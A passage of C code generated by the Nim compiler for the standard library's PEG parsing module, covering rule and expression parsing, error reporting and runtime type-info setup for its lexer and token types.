pegError__BMmAapFwghEVCePgcFScUg((&T78_), T79_, ((NI) -1), ((NI) -1));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA76_: ;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
default:
{
tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg T82_;
NimStringDesc* T83_;
nimZeroMem((void*)(&T82_), sizeof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg));
T82_.Sup.m_type = (&NTI__YGbAG2ONLZxyHsgzU1OeCg_);
nimCopyMem((void*)(&T82_), (NIM_CONST void*)(&(*p)), sizeof(T82_));
T83_ = (NimStringDesc*)0;
T83_ = rawNewString(((*p).tok.literal ? (*p).tok.literal->Sup.len : 0) + 32);
appendString(T83_, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_30));
appendString(T83_, (*p).tok.literal);
pegError__BMmAapFwghEVCePgcFScUg((&T82_), T83_, ((NI) -1), ((NI) -1));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
}
{
while (1) {
switch ((*p).tok.kind) {
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 18):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T87_;
nimZeroMem((void*)(&T87_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegsOptional((*Result), (&T87_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T87_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 14):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T89_;
nimZeroMem((void*)(&T89_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegsGreedyRep((*Result), (&T89_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T89_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 15):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T91_;
nimZeroMem((void*)(&T91_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegsGreedyPosRep((*Result), (&T91_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T91_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
default:
{
goto LA84;
}
break;
}
}
} LA84: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*, parseRule__FcYmx9aP0FAQ09bSN09bCgCzA)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p) {
tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* result;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
result = (tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*)0;
{
NIM_BOOL T3_;
NI T12_;
NI T13_;
T3_ = (NIM_BOOL)0;
T3_ = ((*p).tok.kind == ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 4));
if (!(T3_)) goto LA4_;
T3_ = arrowIsNextTok__r1Fu3ClqdJ5GNevZsmi3CA((&(*p).Sup));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
LA4_: ;
if (!T3_) goto LA5_;
result = getNonTerminal__owz7gr9cNnue9b2MsAC72zMQ(p, (*p).tok.literal);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
NimStringDesc* T11_;
if (!(((*result).flags &(1U<<((NU)(((tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw) 0))&7U)))!=0)) goto LA9_;
T11_ = (NimStringDesc*)0;
T11_ = rawNewString(((*result).name ? (*result).name->Sup.len : 0) + 21);
appendString(T11_, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_81));
appendString(T11_, (*result).name);
pegError__BMmAapFwghEVCePgcFScUg((&(*p)), T11_, ((NI) -1), ((NI) -1));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA9_: ;
T12_ = (NI)0;
T12_ = getLine__VLHJcdFBF4RkQrFxGrHR4gpegs((&(*p).Sup));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
(*result).line = T12_;
T13_ = (NI)0;
T13_ = getColumn__VLHJcdFBF4RkQrFxGrHR4g_2pegs((&(*p).Sup));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
(*result).col = T13_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
eat__hjU4sv1ca6ZjKpV3nc6Zhg(p, ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 12));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
parseExpr__MaL2q9aiyWZXRK0fbgHwGWA_3(p, (&(*result).rule));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
(*result).flags |= ((NU8)1)<<((((tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw) 0)) & 7);
}
goto LA1_;
LA5_: ;
{
tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg T15_;
NimStringDesc* T16_;
nimZeroMem((void*)(&T15_), sizeof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg));
T15_.Sup.m_type = (&NTI__YGbAG2ONLZxyHsgzU1OeCg_);
nimCopyMem((void*)(&T15_), (NIM_CONST void*)(&(*p)), sizeof(T15_));
T16_ = (NimStringDesc*)0;
T16_ = rawNewString(((*p).tok.literal ? (*p).tok.literal->Sup.len : 0) + 26);
appendString(T16_, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_82));
appendString(T16_, (*p).tok.literal);
pegError__BMmAapFwghEVCePgcFScUg((&T15_), T16_, ((NI) -1), ((NI) -1));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA1_: ;
}BeforeRet_: ;
return result;
}
N_LIB_PRIVATE N_NIMCALL(void, rawParse__MaL2q9aiyWZXRK0fbgHwGWA)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
{
while (1) {
if (!((*p).tok.kind == ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 20))) goto LA2;
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_22))) goto LA3_;
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_23))) goto LA4_;
if (eqStrings((*p).tok.literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_29))) goto LA5_;
goto LA6_;
LA3_: ;
{
(*p).modifier = ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 2);
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA7_;
LA4_: ;
{
(*p).modifier = ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 3);
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA7_;
LA5_: ;
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T11_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T11_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
primary__MaL2q9aiyWZXRK0fbgHwGWA_2(p, (&T11_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
npegsOptional(T11_, (&(*p).skip));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA7_;
LA6_: ;
{
goto LA1;
}
LA7_: ;
} LA2: ;
} LA1: ;
{
NIM_BOOL T15_;
tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* T19_;
T15_ = (NIM_BOOL)0;
T15_ = ((*p).tok.kind == ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 4));
if (!(T15_)) goto LA16_;
T15_ = arrowIsNextTok__r1Fu3ClqdJ5GNevZsmi3CA((&(*p).Sup));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
LA16_: ;
if (!T15_) goto LA17_;
T19_ = (tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*)0;
T19_ = parseRule__FcYmx9aP0FAQ09bSN09bCgCzA(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimCopyMem((void*)Result, (NIM_CONST void*)(&(*T19_).rule), sizeof((*Result)));
{
while (1) {
tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* T22_;
if (!!(((*p).tok.kind == ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 1)))) goto LA21;
T22_ = (tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*)0;
T22_ = parseRule__FcYmx9aP0FAQ09bSN09bCgCzA(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
(void)(T22_);
} LA21: ;
}
}
goto LA13_;
LA17_: ;
{
(*p).identIsVerbatim = NIM_TRUE;
parseExpr__MaL2q9aiyWZXRK0fbgHwGWA_3(p, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA13_: ;
{
tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg T28_;
NimStringDesc* T29_;
if (!!(((*p).tok.kind == ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 1)))) goto LA26_;
nimZeroMem((void*)(&T28_), sizeof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg));
T28_.Sup.m_type = (&NTI__YGbAG2ONLZxyHsgzU1OeCg_);
nimCopyMem((void*)(&T28_), (NIM_CONST void*)(&(*p)), sizeof(T28_));
T29_ = (NimStringDesc*)0;
T29_ = rawNewString(((*p).tok.literal ? (*p).tok.literal->Sup.len : 0) + 25);
appendString(T29_, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_83));
appendString(T29_, (*p).tok.literal);
pegError__BMmAapFwghEVCePgcFScUg((&T28_), T29_, ((NI) -1), ((NI) -1));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA26_: ;
{
NI i;
NI colontmp_;
NI T31_;
NI res;
i = (NI)0;
colontmp_ = (NI)0;
T31_ = (((*p).nonterms ? (*p).nonterms->Sup.len : 0)-1);
colontmp_ = T31_;
res = ((NI) 0);
{
while (1) {
tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* nt;
if (!(res <= colontmp_)) goto LA33;
i = res;
nt = (*p).nonterms->data[i];
{
NimStringDesc* T38_;
if (!!((((*nt).flags &(1U<<((NU)(((tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw) 0))&7U)))!=0))) goto LA36_;
T38_ = (NimStringDesc*)0;
T38_ = rawNewString(((*nt).name ? (*nt).name->Sup.len : 0) + 23);
appendString(T38_, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_84));
appendString(T38_, (*nt).name);
pegError__BMmAapFwghEVCePgcFScUg((&(*p)), T38_, (*nt).line, (*nt).col);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA34_;
LA36_: ;
{
NIM_BOOL T40_;
NimStringDesc* T44_;
T40_ = (NIM_BOOL)0;
T40_ = !((((*nt).flags &(1U<<((NU)(((tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw) 1))&7U)))!=0));
if (!(T40_)) goto LA41_;
T40_ = (((NI) 0) < i);
LA41_: ;
if (!T40_) goto LA42_;
T44_ = (NimStringDesc*)0;
T44_ = rawNewString(((*nt).name ? (*nt).name->Sup.len : 0) + 13);
appendString(T44_, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_85));
appendString(T44_, (*nt).name);
pegError__BMmAapFwghEVCePgcFScUg((&(*p)), T44_, (*nt).line, (*nt).col);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA34_;
LA42_: ;
LA34_: ;
res += ((NI) 1);
} LA33: ;
}
}
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, parsePeg__lS04BXBOBnydcCBNVBF9bNw)(NimStringDesc* pattern, NimStringDesc* filename, NI line, NI col, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg p;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
nimZeroMem((void*)(&p), sizeof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg));
p.Sup.m_type = (&NTI__YGbAG2ONLZxyHsgzU1OeCg_);
init__sHzYnQvltM12eWSAM9cw7jw((&p.Sup), pattern, filename, line, col);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
p.tok.kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0);
p.tok.modifier = ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 0);
p.tok.literal = ((NimStringDesc*) NIM_NIL);
nimCopyMem((void*)p.tok.charset, (NIM_CONST void*)TM__YGOrctedenU9ao6jM7xmy6g_18, 32);
p.nonterms = NIM_NIL;
p.identIsVerbatim = NIM_FALSE;
getTok__N6UyL3NoCbQFjnydJ8RVDg((&p));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
rawParse__MaL2q9aiyWZXRK0fbgHwGWA((&p), Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, peg__43AZ7ZFAo8xUltgm3ekenw)(NimStringDesc* pattern, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
parsePeg__lS04BXBOBnydcCBNVBF9bNw(pattern, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_86), ((NI) 1), ((NI) 0), Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, stdlib_pegsDatInit000)(void) {
/* section: NIM_merge_TYPE_INIT1 */
static TNimNode* TM__YGOrctedenU9ao6jM7xmy6g_2_6[6];
static TNimNode* TM__YGOrctedenU9ao6jM7xmy6g_3_6[6];
static TNimNode* TM__YGOrctedenU9ao6jM7xmy6g_4_5[5];
static TNimNode* TM__YGOrctedenU9ao6jM7xmy6g_5_25[25];
NI TM__YGOrctedenU9ao6jM7xmy6g_7;
static char* NIM_CONST TM__YGOrctedenU9ao6jM7xmy6g_6[25] = {
"tkInvalid",
"tkEof",
"tkAny",
"tkAnyRune",
"tkIdentifier",
"tkStringLit",
"tkCharSet",
"tkParLe",
"tkParRi",
"tkCurlyLe",
"tkCurlyRi",
"tkCurlyAt",
"tkArrow",
"tkBar",
"tkStar",
"tkPlus",
"tkAmp",
"tkNot",
"tkOption",
"tkAt",
"tkBuiltin",
"tkEscaped",
"tkBackref",
"tkDollar",
"tkHat"};
static TNimNode* TM__YGOrctedenU9ao6jM7xmy6g_8_4[4];
NI TM__YGOrctedenU9ao6jM7xmy6g_10;
static char* NIM_CONST TM__YGOrctedenU9ao6jM7xmy6g_9[4] = {
"modNone",
"modVerbatim",
"modIgnoreCase",
"modIgnoreStyle"};
static TNimNode* TM__YGOrctedenU9ao6jM7xmy6g_11_5[5];
static TNimNode* TM__YGOrctedenU9ao6jM7xmy6g_12_2[2];
NI TM__YGOrctedenU9ao6jM7xmy6g_14;
static char* NIM_CONST TM__YGOrctedenU9ao6jM7xmy6g_13[2] = {
"ntDeclared",
"ntUsed"};
static TNimNode* TM__YGOrctedenU9ao6jM7xmy6g_15_33[33];
NI TM__YGOrctedenU9ao6jM7xmy6g_17;
static char* NIM_CONST TM__YGOrctedenU9ao6jM7xmy6g_16[33] = {
"pkEmpty",
"pkAny",
"pkAnyRune",
"pkNewLine",
"pkLetter",
"pkLower",
"pkUpper",
"pkTitle",
"pkWhitespace",
"pkTerminal",
"pkTerminalIgnoreCase",
"pkTerminalIgnoreStyle",
"pkChar",
"pkCharChoice",
"pkNonTerminal",
"pkSequence",
"pkOrderedChoice",
"pkGreedyRep",
"pkGreedyRepChar",
"pkGreedyRepSet",
"pkGreedyAny",
"pkOption",
"pkAndPredicate",
"pkNotPredicate",
"pkCapture",
"pkBackRef",
"pkBackRefIgnoreCase",
"pkBackRefIgnoreStyle",
"pkSearch",
"pkCapturedSearch",
"pkRule",
"pkList",
"pkStartAnchor"};
static TNimNode TM__YGOrctedenU9ao6jM7xmy6g_0[104];
/* section: NIM_merge_TYPE_INIT3 */
NTI__PtCHh4SlKU9c9auwVazDFB6Q_.size = sizeof(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q);
NTI__PtCHh4SlKU9c9auwVazDFB6Q_.align = NIM_ALIGNOF(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q);
NTI__PtCHh4SlKU9c9auwVazDFB6Q_.kind = 17;
NTI__PtCHh4SlKU9c9auwVazDFB6Q_.base = 0;
TM__YGOrctedenU9ao6jM7xmy6g_2_6[0] = &TM__YGOrctedenU9ao6jM7xmy6g_0[1];
TM__YGOrctedenU9ao6jM7xmy6g_0[1].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[1].offset = offsetof(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q, bufpos);
TM__YGOrctedenU9ao6jM7xmy6g_0[1].typ = (&NTI__rR5Bzr1D5krxoo1NcNyeMA_);
TM__YGOrctedenU9ao6jM7xmy6g_0[1].name = "bufpos";
TM__YGOrctedenU9ao6jM7xmy6g_2_6[1] = &TM__YGOrctedenU9ao6jM7xmy6g_0[2];
TM__YGOrctedenU9ao6jM7xmy6g_0[2].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[2].offset = offsetof(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q, buf);
TM__YGOrctedenU9ao6jM7xmy6g_0[2].typ = (&NTI__77mFvmsOLKik79ci2hXkHEg_);
TM__YGOrctedenU9ao6jM7xmy6g_0[2].name = "buf";
TM__YGOrctedenU9ao6jM7xmy6g_2_6[2] = &TM__YGOrctedenU9ao6jM7xmy6g_0[3];
TM__YGOrctedenU9ao6jM7xmy6g_0[3].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[3].offset = offsetof(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q, lineNumber);
TM__YGOrctedenU9ao6jM7xmy6g_0[3].typ = (&NTI__rR5Bzr1D5krxoo1NcNyeMA_);
TM__YGOrctedenU9ao6jM7xmy6g_0[3].name = "lineNumber";
TM__YGOrctedenU9ao6jM7xmy6g_2_6[3] = &TM__YGOrctedenU9ao6jM7xmy6g_0[4];
TM__YGOrctedenU9ao6jM7xmy6g_0[4].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[4].offset = offsetof(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q, lineStart);
TM__YGOrctedenU9ao6jM7xmy6g_0[4].typ = (&NTI__rR5Bzr1D5krxoo1NcNyeMA_);
TM__YGOrctedenU9ao6jM7xmy6g_0[4].name = "lineStart";
TM__YGOrctedenU9ao6jM7xmy6g_2_6[4] = &TM__YGOrctedenU9ao6jM7xmy6g_0[5];
TM__YGOrctedenU9ao6jM7xmy6g_0[5].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[5].offset = offsetof(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q, colOffset);
TM__YGOrctedenU9ao6jM7xmy6g_0[5].typ = (&NTI__rR5Bzr1D5krxoo1NcNyeMA_);
TM__YGOrctedenU9ao6jM7xmy6g_0[5].name = "colOffset";
TM__YGOrctedenU9ao6jM7xmy6g_2_6[5] = &TM__YGOrctedenU9ao6jM7xmy6g_0[6];
TM__YGOrctedenU9ao6jM7xmy6g_0[6].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[6].offset = offsetof(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q, filename);
TM__YGOrctedenU9ao6jM7xmy6g_0[6].typ = (&NTI__77mFvmsOLKik79ci2hXkHEg_);
TM__YGOrctedenU9ao6jM7xmy6g_0[6].name = "filename";
TM__YGOrctedenU9ao6jM7xmy6g_0[0].len = 6; TM__YGOrctedenU9ao6jM7xmy6g_0[0].kind = 2; TM__YGOrctedenU9ao6jM7xmy6g_0[0].sons = &TM__YGOrctedenU9ao6jM7xmy6g_2_6[0];
NTI__PtCHh4SlKU9c9auwVazDFB6Q_.node = &TM__YGOrctedenU9ao6jM7xmy6g_0[0];
NTI__YGbAG2ONLZxyHsgzU1OeCg_.size = sizeof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg);
NTI__YGbAG2ONLZxyHsgzU1OeCg_.align = NIM_ALIGNOF(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg);
NTI__YGbAG2ONLZxyHsgzU1OeCg_.kind = 17;
NTI__YGbAG2ONLZxyHsgzU1OeCg_.base = (&NTI__PtCHh4SlKU9c9auwVazDFB6Q_);
TM__YGOrctedenU9ao6jM7xmy6g_3_6[0] = &TM__YGOrctedenU9ao6jM7xmy6g_0[8];
NTI__7MBEr6JdfMtt2SLdWJ4TnA_.size = sizeof(tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA);
NTI__7MBEr6JdfMtt2SLdWJ4TnA_.align = NIM_ALIGNOF(tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA);
NTI__7MBEr6JdfMtt2SLdWJ4TnA_.kind = 18;
NTI__7MBEr6JdfMtt2SLdWJ4TnA_.base = 0;
NTI__7MBEr6JdfMtt2SLdWJ4TnA_.flags = 2;
TM__YGOrctedenU9ao6jM7xmy6g_4_5[0] = &TM__YGOrctedenU9ao6jM7xmy6g_0[10];
NTI__PXxfBn560z0EWOn5M2H9aWw_.size = sizeof(tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw);
NTI__PXxfBn560z0EWOn5M2H9aWw_.align = NIM_ALIGNOF(tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw);
NTI__PXxfBn560z0EWOn5M2H9aWw_.kind = 14;
NTI__PXxfBn560z0EWOn5M2H9aWw_.base = 0;
NTI__PXxfBn560z0EWOn5M2H9aWw_.flags = 3;
for (TM__YGOrctedenU9ao6jM7xmy6g_7 = 0; TM__YGOrctedenU9ao6jM7xmy6g_7 < 25; TM__YGOrctedenU9ao6jM7xmy6g_7++) {
TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_7+11].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_7+11].offset = TM__YGOrctedenU9ao6jM7xmy6g_7;
TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_7+11].name = TM__YGOrctedenU9ao6jM7xmy6g_6[TM__YGOrctedenU9ao6jM7xmy6g_7];
TM__YGOrctedenU9ao6jM7xmy6g_5_25[TM__YGOrctedenU9ao6jM7xmy6g_7] = &TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_7+11];
}
TM__YGOrctedenU9ao6jM7xmy6g_0[36].len = 25; TM__YGOrctedenU9ao6jM7xmy6g_0[36].kind = 2; TM__YGOrctedenU9ao6jM7xmy6g_0[36].sons = &TM__YGOrctedenU9ao6jM7xmy6g_5_25[0];
NTI__PXxfBn560z0EWOn5M2H9aWw_.node = &TM__YGOrctedenU9ao6jM7xmy6g_0[36];
TM__YGOrctedenU9ao6jM7xmy6g_0[10].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[10].offset = offsetof(tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA, kind);
TM__YGOrctedenU9ao6jM7xmy6g_0[10].typ = (&NTI__PXxfBn560z0EWOn5M2H9aWw_);
TM__YGOrctedenU9ao6jM7xmy6g_0[10].name = "kind";
TM__YGOrctedenU9ao6jM7xmy6g_4_5[1] = &TM__YGOrctedenU9ao6jM7xmy6g_0[37];
NTI__7Wz82JmsepInwCEDiPsupA_.size = sizeof(tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA);
NTI__7Wz82JmsepInwCEDiPsupA_.align = NIM_ALIGNOF(tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA);
NTI__7Wz82JmsepInwCEDiPsupA_.kind = 14;
NTI__7Wz82JmsepInwCEDiPsupA_.base = 0;
NTI__7Wz82JmsepInwCEDiPsupA_.flags = 3;
for (TM__YGOrctedenU9ao6jM7xmy6g_10 = 0; TM__YGOrctedenU9ao6jM7xmy6g_10 < 4; TM__YGOrctedenU9ao6jM7xmy6g_10++) {
TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_10+38].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_10+38].offset = TM__YGOrctedenU9ao6jM7xmy6g_10;
TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_10+38].name = TM__YGOrctedenU9ao6jM7xmy6g_9[TM__YGOrctedenU9ao6jM7xmy6g_10];
TM__YGOrctedenU9ao6jM7xmy6g_8_4[TM__YGOrctedenU9ao6jM7xmy6g_10] = &TM__YGOrctedenU9ao6jM7xmy6g_0[TM__YGOrctedenU9ao6jM7xmy6g_10+38];
}
TM__YGOrctedenU9ao6jM7xmy6g_0[42].len = 4; TM__YGOrctedenU9ao6jM7xmy6g_0[42].kind = 2; TM__YGOrctedenU9ao6jM7xmy6g_0[42].sons = &TM__YGOrctedenU9ao6jM7xmy6g_8_4[0];
NTI__7Wz82JmsepInwCEDiPsupA_.node = &TM__YGOrctedenU9ao6jM7xmy6g_0[42];
TM__YGOrctedenU9ao6jM7xmy6g_0[37].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[37].offset = offsetof(tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA, modifier);
TM__YGOrctedenU9ao6jM7xmy6g_0[37].typ = (&NTI__7Wz82JmsepInwCEDiPsupA_);
TM__YGOrctedenU9ao6jM7xmy6g_0[37].name = "modifier";
TM__YGOrctedenU9ao6jM7xmy6g_4_5[2] = &TM__YGOrctedenU9ao6jM7xmy6g_0[43];
TM__YGOrctedenU9ao6jM7xmy6g_0[43].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[43].offset = offsetof(tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA, literal);
TM__YGOrctedenU9ao6jM7xmy6g_0[43].typ = (&NTI__77mFvmsOLKik79ci2hXkHEg_);
TM__YGOrctedenU9ao6jM7xmy6g_0[43].name = "literal";
TM__YGOrctedenU9ao6jM7xmy6g_4_5[3] = &TM__YGOrctedenU9ao6jM7xmy6g_0[44];
TM__YGOrctedenU9ao6jM7xmy6g_0[44].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[44].offset = offsetof(tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA, charset);
TM__YGOrctedenU9ao6jM7xmy6g_0[44].typ = (&NTI__HDqWPvEAxZK51ZcfaeQEdg_);
TM__YGOrctedenU9ao6jM7xmy6g_0[44].name = "charset";
TM__YGOrctedenU9ao6jM7xmy6g_4_5[4] = &TM__YGOrctedenU9ao6jM7xmy6g_0[45];
TM__YGOrctedenU9ao6jM7xmy6g_0[45].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[45].offset = offsetof(tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA, index);
TM__YGOrctedenU9ao6jM7xmy6g_0[45].typ = (&NTI__rR5Bzr1D5krxoo1NcNyeMA_);
TM__YGOrctedenU9ao6jM7xmy6g_0[45].name = "index";
TM__YGOrctedenU9ao6jM7xmy6g_0[9].len = 5; TM__YGOrctedenU9ao6jM7xmy6g_0[9].kind = 2; TM__YGOrctedenU9ao6jM7xmy6g_0[9].sons = &TM__YGOrctedenU9ao6jM7xmy6g_4_5[0];
NTI__7MBEr6JdfMtt2SLdWJ4TnA_.node = &TM__YGOrctedenU9ao6jM7xmy6g_0[9];
TM__YGOrctedenU9ao6jM7xmy6g_0[8].kind = 1;
TM__YGOrctedenU9ao6jM7xmy6g_0[8].offset = offsetof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg, tok);
